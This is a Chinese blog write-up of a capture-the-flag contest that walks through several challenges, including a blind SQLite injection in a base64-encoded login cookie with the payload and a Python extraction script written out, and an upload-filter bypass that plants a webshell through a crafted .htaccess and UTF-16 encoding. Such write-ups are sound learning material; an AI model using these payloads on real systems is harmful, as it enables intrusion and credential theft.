五题web有两题0解,另外三题都做出来了。web狗表示体验不错,心疼二进制选手,尤其是逆向,只有阿鹏dalao做出一题,阿鹏tql。


commom_encrypt

那个encrypt就是题目给的,还有一串字符,跑一遍就出来了。

然后栅栏


onion's_secret

扩展名改成zip,然后解压发现hint.txt和一个压缩包,hint内容是少一位的密码,然后循环压缩
写脚本跑


strange_ssid

ssid都是32位的字符串,随手找了一下,发现了一串16进制的(运气好就是可以抢到一血的)。然后去md5解了一下发现是

没啥用,然后又开了一下脑洞加了给flag{}就交了,没想到对了
正确查找方法:


Escape

过滤了一大堆东西,看傻了,不会拼接字符串。

直接del了,然后读flag

顺便贴一下营里大哥拼接字符串的方法,tql


Ezphp


File协议读文件,url编码绕过


Profile

第一步看源代码,发现有个游客号,test/test

登录后看cookie有base64编码的账号密码,猜测这里有注入,然后

测试了一下,发现猜测的没错

顺便打了什么爆了一下错,发现是SQLite的数据库,然后得到payload
{"username":"test' and substr((select name from sqlite_master where type='table' limit 0,1),1,1)<>'3'--","password":"test"}
爆表名,然后爆列名
CREATETABLEusers(idinteger,usernameTEXT,passwordTEXT)
最后爆出来用户和密码
zzadmin
phptxdy

脚本:

import requests
import base64

url = "http://47.97.253.115:10007/index.php"
flag = ""
for i in range(1,96):
for j in range(33,127):
userinfo = base64.b64encode("{\"username\":\"test\' and substr((select
password from users limit
1,1),"+str(i)+",1)='"+chr(j)+"'--\",\"password\":\"test\"}")
cookies = {'userinfo' : userinfo}
#print base64.b64decode(userinfo)
r = requests.get(url, cookies=cookies)
if "Welcome" in r.text:
flag=flag+chr(j)
print flag
break

登录进去发现上传页面,注释里有源代码

然后找到了wp:

https://www.cnblogs.com/wfzWebSecuity/p/11207145.html

这道题过滤的挺干净的,直接传是行不通了,并且版本是7.x,js标签解析php也不能用了。

所以考虑到上传.htaccess来修改解析,但是exif_imagetype函数会检查文件头,如果加正常的文件头,.htaccess是不能生效的,但是这函数偏偏支持一种图片格式

这文件开头是这样的:

这井号在.htaccess文件里是注释符号,所以文件头就不会导致.htaccess失效,同时还能过检测。(WBMP的开头是0x00也可以绕过,但是我试了几次失败了,而且有点麻烦,就不试了)

还有一个问题就是,过滤了<?,所以没法直接传马,这里用utf-16编码绕过,utf-8一个字符一个字节,现在utf-16是两个字节编码一个字符,所以可以绕过,内容都在那篇博客里。

直接改一改里面的脚本跑,生成几个能绕过并解析的文件,然后上传


找到flag在根目录

然后读flag

Last modification:August 11th, 2019 at 03:06 am
If you think my article is useful to you, please feel free to appreciate